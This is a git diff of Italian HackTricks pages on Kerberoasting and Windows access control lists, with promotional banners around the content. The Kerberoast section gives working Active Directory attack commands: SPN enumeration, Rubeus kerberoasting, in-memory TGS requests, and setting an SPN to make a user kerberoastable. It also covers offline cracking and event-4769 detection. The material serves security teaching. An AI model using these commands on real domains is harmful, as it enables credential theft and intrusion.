Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=kerberoast) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=kerberoast" %}
<details> <details>
@ -18,13 +18,13 @@ Altri modi per supportare HackTricks:
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
## Kerberoast ## Kerberoast
Il Kerberoasting si concentra sull'acquisizione di **biglietti TGS**, in particolare quelli relativi ai servizi che operano sotto **account utente** in **Active Directory (AD)**, escludendo gli **account computer**. La crittografia di questi biglietti utilizza chiavi che derivano dalle **password degli utenti**, consentendo la possibilità di **craccare le credenziali offline**. L'uso di un account utente come servizio è indicato da una proprietà non vuota di **"ServicePrincipalName"**. Il Kerberoasting si concentra sull'acquisizione di **biglietti TGS**, in particolare quelli relativi ai servizi che operano sotto **account utente** in **Active Directory (AD)**, escludendo gli **account computer**. La crittografia di questi biglietti utilizza chiavi che derivano dalle **password degli utenti**, consentendo la possibilità di **craccare le credenziali offline**. L'uso di un account utente come servizio è indicato da una proprietà **"ServicePrincipalName"** non vuota.
Per eseguire il **Kerberoasting**, è essenziale un account di dominio in grado di richiedere i **biglietti TGS**; tuttavia, questo processo non richiede **privilegi speciali**, rendendolo accessibile a chiunque abbia **credenziali di dominio valide**. Per eseguire il **Kerberoasting**, è essenziale un account di dominio in grado di richiedere i **biglietti TGS**; tuttavia, questo processo non richiede **privilegi speciali**, rendendolo accessibile a chiunque abbia **credenziali di dominio valide**.
@ -67,7 +67,7 @@ setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
Get-NetUser -SPN | select serviceprincipalname #Powerview Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats .\Rubeus.exe kerberoast /stats
``` ```
* **Tecnica 1: Richiedi il TGS e scaricalo dalla memoria** * **Tecnica 1: Richiedere il TGS e scaricarlo dalla memoria**
```powershell ```powershell
#Get TGS in memory from a single user #Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel Add-Type -AssemblyName System.IdentityModel
@ -110,10 +110,10 @@ Quando viene richiesto un TGS, viene generato l'evento di Windows `4769 - È sta
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità **più avanzati al mondo**.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=kerberoast) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=kerberoast" %}
### Cracking ### Cracking
```bash ```bash
@ -127,7 +127,7 @@ Se hai **abbastanza autorizzazioni** su un utente, puoi **renderlo kerberoastabl
```bash ```bash
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
``` ```
Puoi trovare **strumenti** utili per gli attacchi di **kerberoast** qui: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast) Puoi trovare **strumenti** utili per gli attacchi **kerberoast** qui: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
Se riscontri questo **errore** da Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** è a causa dell'ora locale, è necessario sincronizzare l'host con il DC. Ci sono alcune opzioni: Se riscontri questo **errore** da Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** è a causa dell'ora locale, è necessario sincronizzare l'host con il DC. Ci sono alcune opzioni:
@ -136,7 +136,7 @@ Se riscontri questo **errore** da Linux: **`Kerberos SessionError: KRB_AP_ERR_SK
### Mitigazione ### Mitigazione
Il Kerberoasting può essere condotto con un alto grado di furtività se è sfruttabile. Per rilevare questa attività, è necessario prestare attenzione all'**Evento di Sicurezza ID 4769**, che indica che è stata richiesta un ticket Kerberos. Tuttavia, a causa dell'alta frequenza di questo evento, devono essere applicati filtri specifici per isolare attività sospette: Il Kerberoasting può essere condotto con un alto grado di furtività se è sfruttabile. Per rilevare questa attività, è necessario prestare attenzione all'**ID evento di sicurezza 4769**, che indica che è stata richiesta un ticket Kerberos. Tuttavia, a causa dell'alta frequenza di questo evento, è necessario applicare filtri specifici per isolare attività sospette:
* Il nome del servizio non dovrebbe essere **krbtgt**, poiché si tratta di una richiesta normale. * Il nome del servizio non dovrebbe essere **krbtgt**, poiché si tratta di una richiesta normale.
* I nomi dei servizi che terminano con **$** dovrebbero essere esclusi per evitare di includere account macchina utilizzati per i servizi. * I nomi dei servizi che terminano con **$** dovrebbero essere esclusi per evitare di includere account macchina utilizzati per i servizi.
@ -183,12 +183,12 @@ Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"d
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@ -198,7 +198,7 @@ Altri modi per supportare HackTricks:
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli **strumenti comunitari più avanzati** al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=kerberoast) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli **strumenti della community più avanzati al mondo**.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=kerberoast" %}

View file

@ -3,10 +3,10 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=acls-dacls-sacls-aces) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=acls-dacls-sacls-aces" %}
<details> <details>
@ -14,49 +14,49 @@ Ottieni l'accesso oggi:
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
## **Controllo degli Accessi (ACL)** ## **Lista di controllo degli accessi (ACL)**
Un Controllo degli Accessi (ACL) consiste in un insieme ordinato di Voci di Controllo degli Accessi (ACE) che determinano le protezioni per un oggetto e le sue proprietà. In sostanza, un ACL definisce quali azioni da parte di quali principali della sicurezza (utenti o gruppi) sono permesse o negate su un dato oggetto. Una Lista di Controllo degli Accessi (ACL) consiste in un insieme ordinato di Voci di Controllo degli Accessi (ACE) che determinano le protezioni per un oggetto e le sue proprietà. In sostanza, un ACL definisce quali azioni da quali principali della sicurezza (utenti o gruppi) sono permesse o negate su un determinato oggetto.
Ci sono due tipi di ACL: Ci sono due tipi di ACL:
* **Discretionary Access Control List (DACL):** Specifica quali utenti e gruppi hanno o non hanno accesso a un oggetto. * **Lista di Controllo degli Accessi Discrezionali (DACL):** Specifica quali utenti e gruppi hanno o non hanno accesso a un oggetto.
* **System Access Control List (SACL):** Regola la registrazione dei tentativi di accesso a un oggetto. * **Lista di Controllo degli Accessi di Sistema (SACL):** Regola l'auditing dei tentativi di accesso a un oggetto.
Il processo di accesso a un file coinvolge il sistema che controlla il descrittore di sicurezza dell'oggetto rispetto al token di accesso dell'utente per determinare se l'accesso dovrebbe essere concesso e l'estensione di tale accesso, in base alle ACE. Il processo di accesso a un file coinvolge il sistema che controlla il descrittore di sicurezza dell'oggetto rispetto al token di accesso dell'utente per determinare se l'accesso dovrebbe essere concesso e l'estensione di tale accesso, in base agli ACE.
### **Componenti Chiave** ### **Componenti Chiave**
* **DACL:** Contiene ACE che concedono o negano autorizzazioni di accesso agli utenti e ai gruppi per un oggetto. È essenzialmente l'ACL principale che determina i diritti di accesso. * **DACL:** Contiene ACE che concedono o negano autorizzazioni di accesso agli utenti e ai gruppi per un oggetto. È essenzialmente la principale ACL che determina i diritti di accesso.
* **SACL:** Utilizzato per l'audit dell'accesso agli oggetti, dove le ACE definiscono i tipi di accesso da registrare nel Log degli Eventi di Sicurezza. Questo può essere prezioso per rilevare tentativi di accesso non autorizzati o risolvere problemi di accesso. * **SACL:** Utilizzato per l'auditing dell'accesso agli oggetti, dove gli ACE definiscono i tipi di accesso da registrare nel Log degli Eventi di Sicurezza. Questo può essere prezioso per rilevare tentativi di accesso non autorizzati o risolvere problemi di accesso.
### **Interazione del Sistema con gli ACL** ### **Interazione del Sistema con le ACL**
Ogni sessione utente è associata a un token di accesso che contiene informazioni di sicurezza rilevanti per quella sessione, inclusi utente, identità di gruppo e privilegi. Questo token include anche un SID di accesso che identifica in modo univoco la sessione. Ogni sessione utente è associata a un token di accesso che contiene informazioni di sicurezza rilevanti per quella sessione, inclusi utente, identità di gruppo e privilegi. Questo token include anche un SID di accesso che identifica univocamente la sessione.
L'Autorità di Sicurezza Locale (LSASS) elabora le richieste di accesso agli oggetti esaminando il DACL per le ACE che corrispondono al principale della sicurezza che tenta l'accesso. L'accesso viene immediatamente concesso se non vengono trovate ACE rilevanti. Altrimenti, LSASS confronta le ACE con il SID del principale della sicurezza nel token di accesso per determinare l'ammissibilità dell'accesso. L'Autorità di Sicurezza Locale (LSASS) elabora le richieste di accesso agli oggetti esaminando il DACL per ACE che corrispondono al principale della sicurezza che tenta l'accesso. L'accesso viene immediatamente concesso se non vengono trovati ACE rilevanti. Altrimenti, LSASS confronta gli ACE con il SID del principale della sicurezza nel token di accesso per determinare l'ammissibilità dell'accesso.
### **Processo Sintetizzato** ### **Processo Sintetizzato**
* **ACL:** Definisce le autorizzazioni di accesso tramite DACL e le regole di audit tramite SACL. * **ACL:** Definisce le autorizzazioni di accesso tramite DACL e le regole di auditing tramite SACL.
* **Token di Accesso:** Contiene informazioni utente, di gruppo e di privilegio per una sessione. * **Token di Accesso:** Contiene informazioni utente, di gruppo e di privilegio per una sessione.
* **Decisione di Accesso:** Effettuata confrontando le ACE del DACL con il token di accesso; i SACL sono utilizzati per l'audit. * **Decisione di Accesso:** Effettuata confrontando gli ACE del DACL con il token di accesso; i SACL vengono utilizzati per l'auditing.
### ACE ### ACE
Ci sono **tre tipi principali di Voci di Controllo degli Accessi (ACE)**: Ci sono **tre principali tipi di Voci di Controllo degli Accessi (ACE)**:
* **ACE di Accesso Negato**: Questa ACE nega esplicitamente l'accesso a un oggetto per utenti o gruppi specificati (in un DACL). * **ACE di Accesso Negato**: Questo ACE nega esplicitamente l'accesso a un oggetto per utenti o gruppi specificati (in un DACL).
* **ACE di Accesso Consentito**: Questa ACE concede esplicitamente l'accesso a un oggetto per utenti o gruppi specificati (in un DACL). * **ACE di Accesso Consentito**: Questo ACE concede esplicitamente l'accesso a un oggetto per utenti o gruppi specificati (in un DACL).
* **ACE di Audit di Sistema**: Posizionata all'interno di un System Access Control List (SACL), questa ACE è responsabile della generazione di log di audit sui tentativi di accesso a un oggetto da parte di utenti o gruppi. Documenta se l'accesso è stato consentito o negato e la natura dell'accesso. * **ACE di Audit di Sistema**: Posizionato all'interno di una Lista di Controllo degli Accessi di Sistema (SACL), questo ACE è responsabile della generazione di log di audit sui tentativi di accesso a un oggetto da parte di utenti o gruppi. Documenta se l'accesso è stato consentito o negato e la natura dell'accesso.
Ogni ACE ha **quattro componenti critici**: Ogni ACE ha **quattro componenti critici**:
@ -65,28 +65,28 @@ Ogni ACE ha **quattro componenti critici**:
3. **Flag di ereditarietà** che determinano se gli oggetti figlio possono ereditare l'ACE dal loro genitore. 3. **Flag di ereditarietà** che determinano se gli oggetti figlio possono ereditare l'ACE dal loro genitore.
4. Una [**maschera di accesso**](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b?redirectedfrom=MSDN), un valore a 32 bit che specifica i diritti concessi all'oggetto. 4. Una [**maschera di accesso**](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b?redirectedfrom=MSDN), un valore a 32 bit che specifica i diritti concessi all'oggetto.
La determinazione dell'accesso avviene esaminando sequenzialmente ciascuna ACE finché: La determinazione dell'accesso avviene esaminando sequenzialmente ciascun ACE fino a quando:
* Una **ACE di Accesso Negato** nega esplicitamente i diritti richiesti a un fiduciario identificato nel token di accesso. * Un **ACE di Accesso Negato** nega esplicitamente i diritti richiesti a un trustee identificato nel token di accesso.
* Le **ACE di Accesso Consentito** concedono esplicitamente tutti i diritti richiesti a un fiduciario nel token di accesso. * Gli **ACE di Accesso Consentito** concedono esplicitamente tutti i diritti richiesti a un trustee nel token di accesso.
* Al termine della verifica di tutte le ACE, se un diritto richiesto **non è stato esplicitamente concesso**, l'accesso viene implicitamente **negato**. * Dopo aver controllato tutti gli ACE, se un qualsiasi diritto richiesto non è stato esplicitamente concesso, l'accesso viene implicitamente **negato**.
### Ordine delle ACE ### Ordine degli ACE
Il modo in cui le **ACE** (regole che dicono chi può o non può accedere a qualcosa) sono inserite in un elenco chiamato **DACL** è molto importante. Questo perché una volta che il sistema concede o nega l'accesso in base a queste regole, smette di guardare il resto. Il modo in cui gli **ACE** (regole che dicono chi può o non può accedere a qualcosa) sono inseriti in una lista chiamata **DACL** è molto importante. Questo perché una volta che il sistema concede o nega l'accesso in base a queste regole, smette di guardare il resto.
C'è un modo migliore per organizzare queste ACE, ed è chiamato **"ordine canonico."** Questo metodo aiuta a garantire che tutto funzioni in modo fluido ed equo. Ecco come funziona per sistemi come **Windows 2000** e **Windows Server 2003**: C'è un modo migliore per organizzare questi ACE, ed è chiamato **"ordine canonico."** Questo metodo aiuta a garantire che tutto funzioni in modo fluido ed equo. Ecco come funziona per sistemi come **Windows 2000** e **Windows Server 2003**:
* Prima di tutto, metti tutte le regole fatte **specificamente per questo elemento** prima di quelle che provengono da un'altra parte, come una cartella genitore. * Prima, metti tutte le regole fatte **specificamente per questo elemento** prima di quelle che provengono da un'altra parte, come una cartella genitore.
* Tra quelle regole specifiche, metti prima quelle che dicono **"no" (negare)** prima di quelle che dicono **"sì" (consentire)**. * In quelle regole specifiche, metti prima quelle che dicono **"no" (negare)** prima di quelle che dicono **"sì" (consentire)**.
* Per le regole che provengono da un'altra parte, inizia con quelle dalla **fonte più vicina**, come il genitore, e poi procedi da lì. Di nuovo, metti **"no"** prima di **"sì."** * Per le regole che provengono da un'altra parte, inizia con quelle dalla **fonte più vicina**, come il genitore, e poi torna indietro da lì. Di nuovo, metti **"no"** prima di **"sì."**
Questa configurazione aiuta in due modi importanti: Questa configurazione aiuta in due modi importanti:
* Assicura che se c'è un **"no"** specifico, venga rispettato, indipendentemente dalle altre regole del **"sì"** presenti. * Assicura che se c'è un **"no"** specifico, viene rispettato, indipendentemente dalle altre regole del **"sì"** che ci sono.
* Permette al proprietario di un elemento di avere l'**ultima parola** su chi può accedere, prima che entrino in gioco regole da cartelle genitore o più indietro. * Permette al proprietario di un elemento di avere l'**ultima parola** su chi può accedere, prima che entrino in gioco le regole delle cartelle genitore o più indietro.
Facendo in questo modo, il proprietario di un file o di una cartella può essere molto preciso su chi ottiene l'accesso, garantendo che le persone giuste possano entrare e quelle sbagliate no. Facendo in questo modo, il proprietario di un file o di una cartella può essere molto preciso su chi ha accesso, garantendo che le persone giuste possano accedere e quelle sbagliate no.
![](https://www.ntfs.com/images/screenshots/ACEs.gif) ![](https://www.ntfs.com/images/screenshots/ACEs.gif)
@ -95,7 +95,7 @@ Quindi, questo **"ordine canonico"** riguarda tutto fare in modo che le regole d
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -103,7 +103,7 @@ Ottieni l'accesso oggi:
[**Esempio da qui**](https://secureidentity.se/acl-dacl-sacl-and-the-ace/) [**Esempio da qui**](https://secureidentity.se/acl-dacl-sacl-and-the-ace/)
Questa è la classica scheda di sicurezza di una cartella che mostra ACL, DACL e ACE: Questa è la classica scheda di sicurezza di una cartella che mostra l'ACL, il DACL e gli ACE:
![http://secureidentity.se/wp-content/uploads/2014/04/classicsectab.jpg](../../.gitbook/assets/classicsectab.jpg) ![http://secureidentity.se/wp-content/uploads/2014/04/classicsectab.jpg](../../.gitbook/assets/classicsectab.jpg)
@ -125,17 +125,17 @@ Nel gestire l'accesso alle risorse, come una cartella, utilizziamo liste e regol
#### Negare l'Accesso a un Gruppo Specifico #### Negare l'Accesso a un Gruppo Specifico
Immagina di avere una cartella chiamata Costi e vuoi che tutti vi accedano tranne il team di marketing. Impostando correttamente le regole, possiamo garantire che al team di marketing sia esplicitamente negato l'accesso prima di consentirlo a tutti gli altri. Ciò viene fatto posizionando la regola per negare l'accesso al team di marketing prima della regola che consente l'accesso a tutti. Immagina di avere una cartella chiamata Costi e vuoi che tutti vi accedano tranne il team di marketing. Configurando correttamente le regole, possiamo garantire che al team di marketing venga esplicitamente negato l'accesso prima di consentirlo a tutti gli altri. Ciò viene fatto posizionando la regola per negare l'accesso al team di marketing prima della regola che consente l'accesso a tutti.
#### Consentire l'Accesso a un Membro Specifico di un Gruppo Negato #### Consentire l'Accesso a un Membro Specifico di un Gruppo Negato
Supponiamo che Bob, il direttore marketing, abbia bisogno di accedere alla cartella Costi, anche se in generale il team di marketing non dovrebbe avere accesso. Possiamo aggiungere una regola specifica (ACE) per Bob che gli concede l'accesso e posizionarla prima della regola che nega l'accesso al team di marketing. In questo modo, Bob ottiene l'accesso nonostante la restrizione generale sul suo team. Supponiamo che Bob, il direttore del marketing, abbia bisogno di accedere alla cartella Costi, anche se in generale il team di marketing non dovrebbe avervi accesso. Possiamo aggiungere una regola specifica (ACE) per Bob che gli concede l'accesso e posizionarla prima della regola che nega l'accesso al team di marketing. In questo modo, Bob ottiene l'accesso nonostante la restrizione generale sul suo team.
#### Comprensione delle Voci di Controllo degli Accessi #### Comprensione delle Voci di Controllo degli Accessi
Le ACE sono le regole individuali in un ACL. Identificano utenti o gruppi, specificano quali accessi sono consentiti o negati e determinano come queste regole si applicano agli elementi secondari (ereditarietà). Ci sono due tipi principali di ACE: Le ACE sono le regole individuali in un ACL. Identificano utenti o gruppi, specificano quali accessi sono consentiti o negati e determinano come queste regole si applicano agli elementi secondari (ereditarietà). Ci sono due tipi principali di ACE:
* **ACE Generiche**: Queste si applicano ampiamente, influenzando tutti i tipi di oggetti o distinguendo solo tra contenitori (come cartelle) e non contenitori (come file). Ad esempio, una regola che consente agli utenti di vedere i contenuti di una cartella ma non di accedere ai file al suo interno. * **ACE Generiche**: Queste si applicano ampiamente, influenzando tutti i tipi di oggetti o distinguendo solo tra contenitori (come cartelle) e non-contenitori (come file). Ad esempio, una regola che consente agli utenti di visualizzare i contenuti di una cartella ma non di accedere ai file al suo interno.
* **ACE Specifiche dell'Oggetto**: Queste forniscono un controllo più preciso, consentendo di impostare regole per tipi specifici di oggetti o addirittura proprietà individuali all'interno di un oggetto. Ad esempio, in una directory di utenti, una regola potrebbe consentire a un utente di aggiornare il proprio numero di telefono ma non le ore di accesso. * **ACE Specifiche dell'Oggetto**: Queste forniscono un controllo più preciso, consentendo di impostare regole per tipi specifici di oggetti o addirittura proprietà individuali all'interno di un oggetto. Ad esempio, in una directory di utenti, una regola potrebbe consentire a un utente di aggiornare il proprio numero di telefono ma non le ore di accesso.
Ogni ACE contiene informazioni importanti come a chi si applica la regola (usando un Identificatore di Sicurezza o SID), cosa consente o nega la regola (usando una maschera di accesso) e come viene ereditata da altri oggetti. Ogni ACE contiene informazioni importanti come a chi si applica la regola (usando un Identificatore di Sicurezza o SID), cosa consente o nega la regola (usando una maschera di accesso) e come viene ereditata da altri oggetti.
@ -145,15 +145,15 @@ Ogni ACE contiene informazioni importanti come a chi si applica la regola (usand
* Le **ACE Generiche** sono adatte per scenari di controllo degli accessi semplici, dove la stessa regola si applica a tutti gli aspetti di un oggetto o a tutti gli oggetti all'interno di un contenitore. * Le **ACE Generiche** sono adatte per scenari di controllo degli accessi semplici, dove la stessa regola si applica a tutti gli aspetti di un oggetto o a tutti gli oggetti all'interno di un contenitore.
* Le **ACE Specifiche dell'Oggetto** sono utilizzate per scenari più complessi, specialmente in ambienti come Active Directory, dove potresti aver bisogno di controllare l'accesso a proprietà specifiche di un oggetto in modo diverso. * Le **ACE Specifiche dell'Oggetto** sono utilizzate per scenari più complessi, specialmente in ambienti come Active Directory, dove potresti aver bisogno di controllare l'accesso a proprietà specifiche di un oggetto in modo diverso.
In sintesi, ACL e ACE aiutano a definire controlli di accesso precisi, garantendo che solo le persone o i gruppi giusti abbiano accesso a informazioni o risorse sensibili, con la possibilità di adattare i diritti di accesso fino al livello di proprietà individuali o tipi di oggetti. In sintesi, ACL e ACE aiutano a definire controlli di accesso precisi, garantendo che solo le persone o i gruppi giusti abbiano accesso a informazioni o risorse sensibili, con la possibilità di personalizzare i diritti di accesso fino al livello di proprietà individuali o tipi di oggetti.
### Layout dell'Voce di Controllo degli Accessi ### Layout della Voce di Controllo degli Accessi
| Campo ACE | Descrizione | | Campo ACE | Descrizione |
| ----------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | ----------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Tipo | Flag che indica il tipo di ACE. Windows 2000 e Windows Server 2003 supportano sei tipi di ACE: Tre tipi di ACE generiche che sono collegati a tutti gli oggetti securizzabili. Tre tipi di ACE specifici dell'oggetto che possono verificarsi per gli oggetti di Active Directory. | | Tipo | Flag che indica il tipo di ACE. Windows 2000 e Windows Server 2003 supportano sei tipi di ACE: Tre tipi di ACE generiche che sono collegati a tutti gli oggetti securizzabili. Tre tipi di ACE specifiche dell'oggetto che possono verificarsi per gli oggetti di Active Directory. |
| Flag | Insieme di bit flag che controllano l'ereditarietà e l'auditing. | | Flag | Insieme di bit flag che controllano l'ereditarietà e l'auditing. |
| Dimensione | Numero di byte di memoria allocati per l'ACE. | | Dimensione | Numero di byte di memoria allocati per l'ACE. |
